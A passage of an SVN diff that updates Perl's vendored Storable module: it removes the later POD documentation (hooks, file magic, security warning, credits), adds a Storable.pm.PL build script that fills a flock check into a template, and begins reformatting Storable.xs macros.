-you will get no protection at all.
-
-The internal advisory locking is implemented using Perl's flock()
-routine.  If your system does not support any form of flock(), or if
-you share your files across NFS, you might wish to use other forms
-of locking by using modules such as LockFile::Simple which lock a
-file using a filesystem entry, instead of locking the file descriptor.
-
-=head1 SPEED
-
-The heart of Storable is written in C for decent speed. Extra low-level
-optimizations have been made when manipulating perl internals, to
-sacrifice encapsulation for the benefit of greater speed.
-
-=head1 CANONICAL REPRESENTATION
-
-Normally, Storable stores elements of hashes in the order they are
-stored internally by Perl, i.e. pseudo-randomly.  If you set
-C<$Storable::canonical> to some C<TRUE> value, Storable will store
-hashes with the elements sorted by their key.  This allows you to
-compare data structures by comparing their frozen representations (or
-even the compressed frozen representations), which can be useful for
-creating lookup tables for complicated queries.
-
-Canonical order does not imply network order; those are two orthogonal
-settings.
-
-=head1 CODE REFERENCES
-
-Since Storable version 2.05, CODE references may be serialized with
-the help of L<B::Deparse>. To enable this feature, set
-C<$Storable::Deparse> to a true value. To enable deserialization,
-C<$Storable::Eval> should be set to a true value. Be aware that
-deserialization is done through C<eval>, which is dangerous if the
-Storable file contains malicious data. You can set C<$Storable::Eval>
-to a subroutine reference which would be used instead of C<eval>. See
-below for an example using a L<Safe> compartment for deserialization
-of CODE references.
-
-If C<$Storable::Deparse> and/or C<$Storable::Eval> are set to false
-values, then the value of C<$Storable::forgive_me> (see below) is
-respected while serializing and deserializing.
-
-=head1 FORWARD COMPATIBILITY
-
-This release of Storable can be used on a newer version of Perl to
-serialize data which is not supported by earlier Perls.  By default,
-Storable will attempt to do the right thing, by C<croak()>ing if it
-encounters data that it cannot deserialize.  However, the defaults
-can be changed as follows:
-
-=over 4
-
-=item utf8 data
-
-Perl 5.6 added support for Unicode characters with code points > 255,
-and Perl 5.8 has full support for Unicode characters in hash keys.
-Perl internally encodes strings with these characters using utf8, and
-Storable serializes them as utf8.  By default, if an older version of
-Perl encounters a utf8 value it cannot represent, it will C<croak()>.
-To change this behaviour so that Storable deserializes utf8 encoded
-values as the string of bytes (effectively dropping the I<is_utf8> flag)
-set C<$Storable::drop_utf8> to some C<TRUE> value.  This is a form of
-data loss, because with C<$drop_utf8> true, it becomes impossible to tell
-whether the original data was the Unicode string, or a series of bytes
-that happen to be valid utf8.
-
-=item restricted hashes
-
-Perl 5.8 adds support for restricted hashes, which have keys
-restricted to a given set, and can have values locked to be read only.
-By default, when Storable encounters a restricted hash on a perl
-that doesn't support them, it will deserialize it as a normal hash,
-silently discarding any placeholder keys and leaving the keys and
-all values unlocked.  To make Storable C<croak()> instead, set
-C<$Storable::downgrade_restricted> to a C<FALSE> value.  To restore
-the default set it back to some C<TRUE> value.
-
-=item files from future versions of Storable
-
-Earlier versions of Storable would immediately croak if they encountered
-a file with a higher internal version number than the reading Storable
-knew about.  Internal version numbers are increased each time new data
-types (such as restricted hashes) are added to the vocabulary of the file
-format.  This meant that a newer Storable module had no way of writing a
-file readable by an older Storable, even if the writer didn't store newer
-data types.
-
-This version of Storable will defer croaking until it encounters a data
-type in the file that it does not recognize.  This means that it will
-continue to read files generated by newer Storable modules which are careful
-in what they write out, making it easier to upgrade Storable modules in a
-mixed environment.
-
-The old behaviour of immediate croaking can be re-instated by setting
-C<$Storable::accept_future_minor> to some C<FALSE> value.
-
-=back
-
-All these variables have no effect on a newer Perl which supports the
-relevant feature.
-
-=head1 ERROR REPORTING
-
-Storable uses the "exception" paradigm, in that it does not try to workaround
-failures: if something bad happens, an exception is generated from the
-caller's perspective (see L<Carp> and C<croak()>).  Use eval {} to trap
-those exceptions.
-
-When Storable croaks, it tries to report the error via the C<logcroak()>
-routine from the C<Log::Agent> package, if it is available.
-
-Normal errors are reported by having store() or retrieve() return C<undef>.
-Such errors are usually I/O errors (or truncated stream errors at retrieval).
-
-=head1 WIZARDS ONLY
-
-=head2 Hooks
-
-Any class may define hooks that will be called during the serialization
-and deserialization process on objects that are instances of that class.
-Those hooks can redefine the way serialization is performed (and therefore,
-how the symmetrical deserialization should be conducted).
-
-Since we said earlier:
-
-    dclone(.) = thaw(freeze(.))
-
-everything we say about hooks should also hold for deep cloning. However,
-hooks get to know whether the operation is a mere serialization, or a cloning.
-
-Therefore, when serializing hooks are involved,
-
-    dclone(.) <> thaw(freeze(.))
-
-Well, you could keep them in sync, but there's no guarantee it will always
-hold on classes somebody else wrote.  Besides, there is little to gain in
-doing so: a serializing hook could keep only one attribute of an object,
-which is probably not what should happen during a deep cloning of that
-same object.
-
-Here is the hooking interface:
-
-=over 4
-
-=item C<STORABLE_freeze> I<obj>, I<cloning>
-
-The serializing hook, called on the object during serialization.  It can be
-inherited, or defined in the class itself, like any other method.
-
-Arguments: I<obj> is the object to serialize, I<cloning> is a flag indicating
-whether we're in a dclone() or a regular serialization via store() or freeze().
-
-Returned value: A LIST C<($serialized, $ref1, $ref2, ...)> where $serialized
-is the serialized form to be used, and the optional $ref1, $ref2, etc... are
-extra references that you wish to let the Storable engine serialize.
-
-At deserialization time, you will be given back the same LIST, but all the
-extra references will be pointing into the deserialized structure.
-
-The B<first time> the hook is hit in a serialization flow, you may have it
-return an empty list.  That will signal the Storable engine to further
-discard that hook for this class and to therefore revert to the default
-serialization of the underlying Perl data.  The hook will again be normally
-processed in the next serialization.
-
-Unless you know better, serializing hook should always say:
-
-    sub STORABLE_freeze {
-        my ($self, $cloning) = @_;
-        return if $cloning;         # Regular default serialization
-        ....
-    }
-
-in order to keep reasonable dclone() semantics.
-
-=item C<STORABLE_thaw> I<obj>, I<cloning>, I<serialized>, ...
-
-The deserializing hook called on the object during deserialization.
-But wait: if we're deserializing, there's no object yet... right?
-
-Wrong: the Storable engine creates an empty one for you.  If you know Eiffel,
-you can view C<STORABLE_thaw> as an alternate creation routine.
-
-This means the hook can be inherited like any other method, and that
-I<obj> is your blessed reference for this particular instance.
-
-The other arguments should look familiar if you know C<STORABLE_freeze>:
-I<cloning> is true when we're part of a deep clone operation, I<serialized>
-is the serialized string you returned to the engine in C<STORABLE_freeze>,
-and there may be an optional list of references, in the same order you gave
-them at serialization time, pointing to the deserialized objects (which
-have been processed courtesy of the Storable engine).
-
-When the Storable engine does not find any C<STORABLE_thaw> hook routine,
-it tries to load the class by requiring the package dynamically (using
-the blessed package name), and then re-attempts the lookup.  If at that
-time the hook cannot be located, the engine croaks.  Note that this mechanism
-will fail if you define several classes in the same file, but L<perlmod>
-warned you.
-
-It is up to you to use this information to populate I<obj> the way you want.
-
-Returned value: none.
-
-=item C<STORABLE_attach> I<class>, I<cloning>, I<serialized>
-
-While C<STORABLE_freeze> and C<STORABLE_thaw> are useful for classes where
-each instance is independent, this mechanism has difficulty (or is
-incompatible) with objects that exist as common process-level or
-system-level resources, such as singleton objects, database pools, caches
-or memoized objects.
-
-The alternative C<STORABLE_attach> method provides a solution for these
-shared objects. Instead of C<STORABLE_freeze> --E<gt> C<STORABLE_thaw>,
-you implement C<STORABLE_freeze> --E<gt> C<STORABLE_attach> instead.
-
-Arguments: I<class> is the class we are attaching to, I<cloning> is a flag
-indicating whether we're in a dclone() or a regular de-serialization via
-thaw(), and I<serialized> is the stored string for the resource object.
-
-Because these resource objects are considered to be owned by the entire
-process/system, and not the "property" of whatever is being serialized,
-no references underneath the object should be included in the serialized
-string. Thus, in any class that implements C<STORABLE_attach>, the
-C<STORABLE_freeze> method cannot return any references, and C<Storable>
-will throw an error if C<STORABLE_freeze> tries to return references.
-
-All information required to "attach" back to the shared resource object
-B<must> be contained B<only> in the C<STORABLE_freeze> return string.
-Otherwise, C<STORABLE_freeze> behaves as normal for C<STORABLE_attach>
-classes.
-
-Because C<STORABLE_attach> is passed the class (rather than an object),
-it also returns the object directly, rather than modifying the passed
-object.
-
-Returned value: object of type C<class>
-
-=back
-
-=head2 Predicates
-
-Predicates are not exportable.  They must be called by explicitly prefixing
-them with the Storable package name.
-
-=over 4
-
-=item C<Storable::last_op_in_netorder>
-
-The C<Storable::last_op_in_netorder()> predicate will tell you whether
-network order was used in the last store or retrieve operation.  If you
-don't know how to use this, just forget about it.
-
-=item C<Storable::is_storing>
-
-Returns true if within a store operation (via STORABLE_freeze hook).
-
-=item C<Storable::is_retrieving>
-
-Returns true if within a retrieve operation (via STORABLE_thaw hook).
-
-=back
-
-=head2 Recursion
-
-With hooks comes the ability to recurse back to the Storable engine.
-Indeed, hooks are regular Perl code, and Storable is convenient when
-it comes to serializing and deserializing things, so why not use it
-to handle the serialization string?
-
-There are a few things you need to know, however:
-
-=over 4
-
-=item *
-
-You can create endless loops if the things you serialize via freeze()
-(for instance) point back to the object we're trying to serialize in
-the hook.
-
-=item *
-
-Shared references among objects will not stay shared: if we're serializing
-the list of object [A, C] where both object A and C refer to the SAME object
-B, and if there is a serializing hook in A that says freeze(B), then when
-deserializing, we'll get [A', C'] where A' refers to B', but C' refers to D,
-a deep clone of B'.  The topology was not preserved.
-
-=back
-
-That's why C<STORABLE_freeze> lets you provide a list of references
-to serialize.  The engine guarantees that those will be serialized in the
-same context as the other objects, and therefore that shared objects will
-stay shared.
-
-In the above [A, C] example, the C<STORABLE_freeze> hook could return:
-
-	("something", $self->{B})
-
-and the B part would be serialized by the engine.  In C<STORABLE_thaw>, you
-would get back the reference to the B' object, deserialized for you.
-
-Therefore, recursion should normally be avoided, but is nonetheless supported.
-
-=head2 Deep Cloning
-
-There is a Clone module available on CPAN which implements deep cloning
-natively, i.e. without freezing to memory and thawing the result.  It is
-aimed to replace Storable's dclone() some day.  However, it does not currently
-support Storable hooks to redefine the way deep cloning is performed.
-
-=head1 Storable magic
-
-Yes, there's a lot of that :-) But more precisely, in UNIX systems
-there's a utility called C<file>, which recognizes data files based on
-their contents (usually their first few bytes).  For this to work,
-a certain file called F<magic> needs to taught about the I<signature>
-of the data.  Where that configuration file lives depends on the UNIX
-flavour; often it's something like F</usr/share/misc/magic> or
-F</etc/magic>.  Your system administrator needs to do the updating of
-the F<magic> file.  The necessary signature information is output to
-STDOUT by invoking Storable::show_file_magic().  Note that the GNU
-implementation of the C<file> utility, version 3.38 or later,
-is expected to contain support for recognising Storable files
-out-of-the-box, in addition to other kinds of Perl files.
-
-You can also use the following functions to extract the file header
-information from Storable images:
-
-=over
-
-=item $info = Storable::file_magic( $filename )
-
-If the given file is a Storable image return a hash describing it.  If
-the file is readable, but not a Storable image return C<undef>.  If
-the file does not exist or is unreadable then croak.
-
-The hash returned has the following elements:
-
-=over
-
-=item C<version>
-
-This returns the file format version.  It is a string like "2.7".
-
-Note that this version number is not the same as the version number of
-the Storable module itself.  For instance Storable v0.7 create files
-in format v2.0 and Storable v2.15 create files in format v2.7.  The
-file format version number only increment when additional features
-that would confuse older versions of the module are added.
-
-Files older than v2.0 will have the one of the version numbers "-1",
-"0" or "1".  No minor number was used at that time.
-
-=item C<version_nv>
-
-This returns the file format version as number.  It is a string like
-"2.007".  This value is suitable for numeric comparisons.
-
-The constant function C<Storable::BIN_VERSION_NV> returns a comparable
-number that represents the highest file version number that this
-version of Storable fully supports (but see discussion of
-C<$Storable::accept_future_minor> above).  The constant
-C<Storable::BIN_WRITE_VERSION_NV> function returns what file version
-is written and might be less than C<Storable::BIN_VERSION_NV> in some
-configurations.
-
-=item C<major>, C<minor>
-
-This also returns the file format version.  If the version is "2.7"
-then major would be 2 and minor would be 7.  The minor element is
-missing for when major is less than 2.
-
-=item C<hdrsize>
-
-The is the number of bytes that the Storable header occupies.
-
-=item C<netorder>
-
-This is TRUE if the image store data in network order.  This means
-that it was created with nstore() or similar.
-
-=item C<byteorder>
-
-This is only present when C<netorder> is FALSE.  It is the
-$Config{byteorder} string of the perl that created this image.  It is
-a string like "1234" (32 bit little endian) or "87654321" (64 bit big
-endian).  This must match the current perl for the image to be
-readable by Storable.
-
-=item C<intsize>, C<longsize>, C<ptrsize>, C<nvsize>
-
-These are only present when C<netorder> is FALSE. These are the sizes of
-various C datatypes of the perl that created this image.  These must
-match the current perl for the image to be readable by Storable.
-
-The C<nvsize> element is only present for file format v2.2 and
-higher.
-
-=item C<file>
-
-The name of the file.
-
-=back
-
-=item $info = Storable::read_magic( $buffer )
-
-=item $info = Storable::read_magic( $buffer, $must_be_file )
-
-The $buffer should be a Storable image or the first few bytes of it.
-If $buffer starts with a Storable header, then a hash describing the
-image is returned, otherwise C<undef> is returned.
-
-The hash has the same structure as the one returned by
-Storable::file_magic().  The C<file> element is true if the image is a
-file image.
-
-If the $must_be_file argument is provided and is TRUE, then return
-C<undef> unless the image looks like it belongs to a file dump.
-
-The maximum size of a Storable header is currently 21 bytes.  If the
-provided $buffer is only the first part of a Storable image it should
-at least be this long to ensure that read_magic() will recognize it as
-such.
-
-=back
-
-=head1 EXAMPLES
-
-Here are some code samples showing a possible usage of Storable:
-
- use Storable qw(store retrieve freeze thaw dclone);
-
- %color = ('Blue' => 0.1, 'Red' => 0.8, 'Black' => 0, 'White' => 1);
-
- store(\%color, 'mycolors') or die "Can't store %a in mycolors!\n";
-
- $colref = retrieve('mycolors');
- die "Unable to retrieve from mycolors!\n" unless defined $colref;
- printf "Blue is still %lf\n", $colref->{'Blue'};
-
- $colref2 = dclone(\%color);
-
- $str = freeze(\%color);
- printf "Serialization of %%color is %d bytes long.\n", length($str);
- $colref3 = thaw($str);
-
-which prints (on my machine):
-
- Blue is still 0.100000
- Serialization of %color is 102 bytes long.
-
-Serialization of CODE references and deserialization in a safe
-compartment:
-
-=for example begin
-
- use Storable qw(freeze thaw);
- use Safe;
- use strict;
- my $safe = new Safe;
-        # because of opcodes used in "use strict":
- $safe->permit(qw(:default require));
- local $Storable::Deparse = 1;
- local $Storable::Eval = sub { $safe->reval($_[0]) };
- my $serialized = freeze(sub { 42 });
- my $code = thaw($serialized);
- $code->() == 42;
-
-=for example end
-
-=for example_testing
-        is( $code->(), 42 );
-
-=head1 SECURITY WARNING
-
-B<Do not accept Storable documents from untrusted sources!>
-
-Some features of Storable can lead to security vulnerabilities if you
-accept Storable documents from untrusted sources. Most obviously, the
-optional (off by default) CODE reference serialization feature allows
-transfer of code to the deserializing process. Furthermore, any
-serialized object will cause Storable to helpfully load the module
-corresponding to the class of the object in the deserializing module.
-For manipulated module names, this can load almost arbitrary code.
-Finally, the deserialized object's destructors will be invoked when
-the objects get destroyed in the deserializing process. Maliciously
-crafted Storable documents may put such objects in the value of
-a hash key that is overridden by another key/value pair in the
-same hash, thus causing immediate destructor execution.
-
-In a future version of Storable, we intend to provide options to disable
-loading modules for classes and to disable deserializing objects
-altogether. I<Nonetheless, Storable deserializing documents from
-untrusted sources is expected to have other, yet undiscovered,
-security concerns such as allowing an attacker to cause the deserializer
-to crash hard.>
-
-B<Therefore, let me repeat: Do not accept Storable documents from
-untrusted sources!>
-
-If your application requires accepting data from untrusted sources, you
-are best off with a less powerful and more-likely safe serialization format
-and implementation. If your data is sufficiently simple, JSON is a good
-choice and offers maximum interoperability.
-
-=head1 WARNING
-
-If you're using references as keys within your hash tables, you're bound
-to be disappointed when retrieving your data. Indeed, Perl stringifies
-references used as hash table keys. If you later wish to access the
-items via another reference stringification (i.e. using the same
-reference that was used for the key originally to record the value into
-the hash table), it will work because both references stringify to the
-same string.
-
-It won't work across a sequence of C<store> and C<retrieve> operations,
-however, because the addresses in the retrieved objects, which are
-part of the stringified references, will probably differ from the
-original addresses. The topology of your structure is preserved,
-but not hidden semantics like those.
-
-On platforms where it matters, be sure to call C<binmode()> on the
-descriptors that you pass to Storable functions.
-
-Storing data canonically that contains large hashes can be
-significantly slower than storing the same data normally, as
-temporary arrays to hold the keys for each hash have to be allocated,
-populated, sorted and freed.  Some tests have shown a halving of the
-speed of storing -- the exact penalty will depend on the complexity of
-your data.  There is no slowdown on retrieval.
-
-=head1 BUGS
-
-You can't store GLOB, FORMLINE, REGEXP, etc.... If you can define semantics
-for those operations, feel free to enhance Storable so that it can
-deal with them.
-
-The store functions will C<croak> if they run into such references
-unless you set C<$Storable::forgive_me> to some C<TRUE> value. In that
-case, the fatal message is converted to a warning and some meaningless
-string is stored instead.
-
-Setting C<$Storable::canonical> may not yield frozen strings that
-compare equal due to possible stringification of numbers. When the
-string version of a scalar exists, it is the form stored; therefore,
-if you happen to use your numbers as strings between two freezing
-operations on the same data structures, you will get different
-results.
-
-When storing doubles in network order, their value is stored as text.
-However, you should also not expect non-numeric floating-point values
-such as infinity and "not a number" to pass successfully through a
-nstore()/retrieve() pair.
-
-As Storable neither knows nor cares about character sets (although it
-does know that characters may be more than eight bits wide), any difference
-in the interpretation of character codes between a host and a target
-system is your problem.  In particular, if host and target use different
-code points to represent the characters used in the text representation
-of floating-point numbers, you will not be able be able to exchange
-floating-point data, even with nstore().
-
-C<Storable::drop_utf8> is a blunt tool.  There is no facility either to
-return B<all> strings as utf8 sequences, or to attempt to convert utf8
-data back to 8 bit and C<croak()> if the conversion fails.
-
-Prior to Storable 2.01, no distinction was made between signed and
-unsigned integers on storing.  By default Storable prefers to store a
-scalars string representation (if it has one) so this would only cause
-problems when storing large unsigned integers that had never been converted
-to string or floating point.  In other words values that had been generated
-by integer operations such as logic ops and then not used in any string or
-arithmetic context before storing.
-
-=head2 64 bit data in perl 5.6.0 and 5.6.1
-
-This section only applies to you if you have existing data written out
-by Storable 2.02 or earlier on perl 5.6.0 or 5.6.1 on Unix or Linux which
-has been configured with 64 bit integer support (not the default)
-If you got a precompiled perl, rather than running Configure to build
-your own perl from source, then it almost certainly does not affect you,
-and you can stop reading now (unless you're curious). If you're using perl
-on Windows it does not affect you.
-
-Storable writes a file header which contains the sizes of various C
-language types for the C compiler that built Storable (when not writing in
-network order), and will refuse to load files written by a Storable not
-on the same (or compatible) architecture.  This check and a check on
-machine byteorder is needed because the size of various fields in the file
-are given by the sizes of the C language types, and so files written on
-different architectures are incompatible.  This is done for increased speed.
-(When writing in network order, all fields are written out as standard
-lengths, which allows full interworking, but takes longer to read and write)
-
-Perl 5.6.x introduced the ability to optional configure the perl interpreter
-to use C's C<long long> type to allow scalars to store 64 bit integers on 32
-bit systems.  However, due to the way the Perl configuration system
-generated the C configuration files on non-Windows platforms, and the way
-Storable generates its header, nothing in the Storable file header reflected
-whether the perl writing was using 32 or 64 bit integers, despite the fact
-that Storable was storing some data differently in the file.  Hence Storable
-running on perl with 64 bit integers will read the header from a file
-written by a 32 bit perl, not realise that the data is actually in a subtly
-incompatible format, and then go horribly wrong (possibly crashing) if it
-encountered a stored integer.  This is a design failure.
-
-Storable has now been changed to write out and read in a file header with
-information about the size of integers.  It's impossible to detect whether
-an old file being read in was written with 32 or 64 bit integers (they have
-the same header) so it's impossible to automatically switch to a correct
-backwards compatibility mode.  Hence this Storable defaults to the new,
-correct behaviour.
-
-What this means is that if you have data written by Storable 1.x running
-on perl 5.6.0 or 5.6.1 configured with 64 bit integers on Unix or Linux
-then by default this Storable will refuse to read it, giving the error
-I<Byte order is not compatible>.  If you have such data then you
-should set C<$Storable::interwork_56_64bit> to a true value to make this
-Storable read and write files with the old header.  You should also
-migrate your data, or any older perl you are communicating with, to this
-current version of Storable.
-
-If you don't have data written with specific configuration of perl described
-above, then you do not and should not do anything.  Don't set the flag -
-not only will Storable on an identically configured perl refuse to load them,
-but Storable a differently configured perl will load them believing them
-to be correct for it, and then may well fail or crash part way through
-reading them.
-
-=head1 CREDITS
-
-Thank you to (in chronological order):
-
-	Jarkko Hietaniemi <jhi at iki.fi>
-	Ulrich Pfeifer <pfeifer at charly.informatik.uni-dortmund.de>
-	Benjamin A. Holzman <bholzman at earthlink.net>
-	Andrew Ford <A.Ford at ford-mason.co.uk>
-	Gisle Aas <gisle at aas.no>
-	Jeff Gresham <gresham_jeffrey at jpmorgan.com>
-	Murray Nesbitt <murray at activestate.com>
-	Marc Lehmann <pcg at opengroup.org>
-	Justin Banks <justinb at wamnet.com>
-	Jarkko Hietaniemi <jhi at iki.fi> (AGAIN, as perl 5.7.0 Pumpkin!)
-	Salvador Ortiz Garcia <sog at msg.com.mx>
-	Dominic Dunlop <domo at computer.org>
-	Erik Haugan <erik at solbors.no>
-	Benjamin A. Holzman <ben.holzman at grantstreet.com>
-	Reini Urban <rurban at cpanel.net>
-
-for their bug reports, suggestions and contributions.
-
-Benjamin Holzman contributed the tied variable support, Andrew Ford
-contributed the canonical order for hashes, and Gisle Aas fixed
-a few misunderstandings of mine regarding the perl internals,
-and optimized the emission of "tags" in the output streams by
-simply counting the objects instead of tagging them (leading to
-a binary incompatibility for the Storable image starting at version
-0.6--older images are, of course, still properly understood).
-Murray Nesbitt made Storable thread-safe.  Marc Lehmann added overloading
-and references to tied items support.  Benjamin Holzman added a performance
-improvement for overloaded classes; thanks to Grant Street Group for footing
-the bill.
-
-=head1 AUTHOR
-
-Storable was written by Raphael Manfredi
-F<E<lt>Raphael_Manfredi at pobox.comE<gt>>
-Maintenance is now done by the perl5-porters
-F<E<lt>perl5-porters at perl.orgE<gt>>
-
-Please e-mail us with problems, bug fixes, comments and complaints,
-although if you have compliments you should send them to Raphael.
-Please don't e-mail Raphael with problems, as he no longer works on
-Storable, and your message will be delayed while he forwards it to us.
-
-=head1 SEE ALSO
-
-L<Clone>.
-
-=cut

Added: vendor/perl/dist/dist/Storable/Storable.pm.PL
===================================================================
--- vendor/perl/dist/dist/Storable/Storable.pm.PL	                        (rev 0)
+++ vendor/perl/dist/dist/Storable/Storable.pm.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,35 @@
+use strict;
+use warnings;
+
+use Config;
+
+my $template;
+{	# keep all the code in an external template to keep it easy to update
+	local $/;
+	open my $FROM, '<', '__Storable__.pm' or die $!;
+	$template = <$FROM>;
+	close $FROM or die $!;
+}
+
+sub CAN_FLOCK {
+	return
+		$Config{'d_flock'} ||
+		$Config{'d_fcntl_can_lock'} ||
+		$Config{'d_lockf'}
+		? 1 : 0;
+}
+
+my $CAN_FLOCK = CAN_FLOCK();
+
+# populate the sub and preserve it if used outside
+$template =~ s{^sub CAN_FLOCK;.*$}{sub CAN_FLOCK { ${CAN_FLOCK} } # computed by Storable.pm.PL}m;
+# alternatively we could remove the sub
+#$template =~ s{^sub CAN_FLOCK;.*$}{}m;
+# replace local function calls to hardcoded value
+$template =~ s{&CAN_FLOCK}{${CAN_FLOCK}}g;
+
+{
+	open my $OUT, '>', 'Storable.pm' or die $!;
+	print {$OUT} $template or die $!;
+	close $OUT or die $!;
+}

Modified: vendor/perl/dist/dist/Storable/Storable.xs
===================================================================
--- vendor/perl/dist/dist/Storable/Storable.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/Storable.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,8 +1,11 @@
-/*
- *  Store and retrieve mechanism.
+/* -*-  c-basic-offset: 4 -*-
  *
+ *  Fast store and retrieve mechanism.
+ *
  *  Copyright (c) 1995-2000, Raphael Manfredi
- *  
+ *  Copyright (c) 2016, 2017 cPanel Inc
+ *  Copyright (c) 2017 Reini Urban
+ *
  *  You may redistribute only under the same terms as Perl 5, as specified
  *  in the README file that comes with the distribution.
  *
@@ -18,6 +21,8 @@
 #endif
 
 #if !defined(PERL_VERSION) || PERL_VERSION < 10 || (PERL_VERSION == 10 && PERL_SUBVERSION < 1)
+#define NEED_PL_parser
+#define NEED_sv_2pv_flags
 #define NEED_load_module
 #define NEED_vload_module
 #define NEED_newCONSTSUB
@@ -26,7 +31,7 @@
 #include "ppport.h"             /* handle old perls */
 #endif
 
-#if 0
+#ifdef DEBUGGING
 #define DEBUGME /* Debug mode, turns assertions on as well */
 #define DASSERT /* Assertion mode */
 #endif
@@ -67,19 +72,23 @@
 #endif
 
 #ifndef HvRITER_get
-#  define HvRITER_get HvRITER
+#  define HvRITER_get           HvRITER
 #endif
 #ifndef HvEITER_get
-#  define HvEITER_get HvEITER
+#  define HvEITER_get           HvEITER
 #endif
 
 #ifndef HvPLACEHOLDERS_get
-#  define HvPLACEHOLDERS_get HvPLACEHOLDERS
+#  define HvPLACEHOLDERS_get    HvPLACEHOLDERS
 #endif
 
 #ifndef HvTOTALKEYS
 #  define HvTOTALKEYS(hv)	HvKEYS(hv)
 #endif
+/* 5.6 */
+#ifndef HvUSEDKEYS
+#  define HvUSEDKEYS(hv)	HvKEYS(hv)
+#endif
 
 #ifdef SVf_IsCOW
 #  define SvTRULYREADONLY(sv)	SvREADONLY(sv)
@@ -87,6 +96,14 @@
 #  define SvTRULYREADONLY(sv)	(SvREADONLY(sv) && !SvIsCOW(sv))
 #endif
 
+#ifndef SvPVCLEAR
+#  define SvPVCLEAR(sv) sv_setpvs(sv, "")
+#endif
+
+#ifndef strEQc
+#  define strEQc(s,c) memEQ(s, ("" c ""), sizeof(c))
+#endif
+
 #ifdef DEBUGME
 
 #ifndef DASSERT
@@ -94,27 +111,46 @@
 #endif
 
 /*
- * TRACEME() will only output things when the $Storable::DEBUGME is true.
+ * TRACEME() will only output things when the $Storable::DEBUGME is true,
+ * using the value traceme cached in the context.
+ *
+ *
+ * TRACEMED() directly looks at the variable, for use before traceme has been
+ * updated.
  */
 
-#define TRACEME(x)										\
-  STMT_START {											\
-	if (SvTRUE(perl_get_sv("Storable::DEBUGME", GV_ADD)))	\
-		{ PerlIO_stdoutf x; PerlIO_stdoutf("\n"); }		\
-  } STMT_END
+#define TRACEME(x)                                            \
+    STMT_START {					      \
+        if (cxt->traceme)				      \
+            { PerlIO_stdoutf x; PerlIO_stdoutf("\n"); }       \
+    } STMT_END
+
+#define TRACEMED(x)                                           \
+    STMT_START {                                              \
+        if (SvTRUE(get_sv("Storable::DEBUGME", GV_ADD)))      \
+            { PerlIO_stdoutf x; PerlIO_stdoutf("\n"); }       \
+    } STMT_END
+
+#define INIT_TRACEME							\
+    STMT_START {							\
+	cxt->traceme = SvTRUE(get_sv("Storable::DEBUGME", GV_ADD));	\
+    } STMT_END
+
 #else
 #define TRACEME(x)
+#define TRACEMED(x)
+#define INIT_TRACEME
 #endif	/* DEBUGME */
 
 #ifdef DASSERT
-#define ASSERT(x,y)										\
-  STMT_START {											\
-	if (!(x)) {												\
-		PerlIO_stdoutf("ASSERT FAILED (\"%s\", line %d): ",	\
-			__FILE__, __LINE__);							\
-		PerlIO_stdoutf y; PerlIO_stdoutf("\n");				\
-	}														\
-  } STMT_END
+#define ASSERT(x,y)                                              \
+    STMT_START {                                                 \
+        if (!(x)) {                                              \
+            PerlIO_stdoutf("ASSERT FAILED (\"%s\", line %d): ",  \
+                           __FILE__, (int)__LINE__);             \
+            PerlIO_stdoutf y; PerlIO_stdoutf("\n");              \
+        }                                                        \
+    } STMT_END
 #else
 #define ASSERT(x,y)
 #endif
@@ -157,39 +193,41 @@
 #define SX_VSTRING	C(29)	/* vstring forthcoming (small) */
 #define SX_LVSTRING	C(30)	/* vstring forthcoming (large) */
 #define SX_SVUNDEF_ELEM	C(31)	/* array element set to &PL_sv_undef */
-#define SX_ERROR	C(32)	/* Error */
+#define SX_REGEXP	C(32)	/* Regexp */
+#define SX_LOBJECT	C(33)	/* Large object: string, array or hash (size >2G) */
+#define SX_LAST		C(34)	/* invalid. marker only */
 
 /*
  * Those are only used to retrieve "old" pre-0.6 binary images.
  */
-#define SX_ITEM		'i'		/* An array item introducer */
-#define SX_IT_UNDEF	'I'		/* Undefined array item */
-#define SX_KEY		'k'		/* A hash key introducer */
-#define SX_VALUE	'v'		/* A hash value introducer */
-#define SX_VL_UNDEF	'V'		/* Undefined hash value */
+#define SX_ITEM		'i'	/* An array item introducer */
+#define SX_IT_UNDEF	'I'	/* Undefined array item */
+#define SX_KEY		'k'	/* A hash key introducer */
+#define SX_VALUE	'v'	/* A hash value introducer */
+#define SX_VL_UNDEF	'V'	/* Undefined hash value */
 
 /*
  * Those are only used to retrieve "old" pre-0.7 binary images
  */
 
-#define SX_CLASS	'b'		/* Object is blessed, class name length <255 */
-#define SX_LG_CLASS	'B'		/* Object is blessed, class name length >255 */
-#define SX_STORED	'X'		/* End of object */
+#define SX_CLASS	'b'	/* Object is blessed, class name length <255 */
+#define SX_LG_CLASS	'B'	/* Object is blessed, class name length >255 */
+#define SX_STORED	'X'	/* End of object */
 
 /*
  * Limits between short/long length representation.
  */
 
-#define LG_SCALAR	255		/* Large scalar length limit */
-#define LG_BLESS	127		/* Large classname bless limit */
+#define LG_SCALAR	255	/* Large scalar length limit */
+#define LG_BLESS	127	/* Large classname bless limit */
 
 /*
  * Operation types
  */
 
-#define ST_STORE	0x1		/* Store operation */
-#define ST_RETRIEVE	0x2		/* Retrieval operation */
-#define ST_CLONE	0x4		/* Deep cloning operation */
+#define ST_STORE	0x1	/* Store operation */
+#define ST_RETRIEVE	0x2	/* Retrieval operation */
+#define ST_CLONE	0x4	/* Deep cloning operation */
 
 /*
  * The following structure is used for hash table key retrieval. Since, when
@@ -203,10 +241,10 @@
  * is required. Hence the aptr pointer.
  */
 struct extendable {
-	char *arena;		/* Will hold hash key strings, resized as needed */
-	STRLEN asiz;		/* Size of aforementioned buffer */
-	char *aptr;			/* Arena pointer, for in-place read/write ops */
-	char *aend;			/* First invalid address */
+    char *arena;	/* Will hold hash key strings, resized as needed */
+    STRLEN asiz;	/* Size of aforementioned buffer */
+    char *aptr;		/* Arena pointer, for in-place read/write ops */
+    char *aend;		/* First invalid address */
 };
 
 /*
@@ -228,6 +266,19 @@
 typedef unsigned long stag_t;	/* Used by pre-0.6 binary format */
 
 /*
+ * Make the tag type 64-bit on 64-bit platforms.
+ *
+ * If the tag number is low enough it's stored as a 32-bit value, but
+ * with very large arrays and hashes it's possible to go over 2**32
+ * scalars.
+ */
+
+typedef STRLEN ntag_t;
+
+/* used for where_is_undef - marks an unset value */
+#define UNSET_NTAG_T (~(ntag_t)0)
+
+/*
  * The following "thread-safe" related defines were contributed by
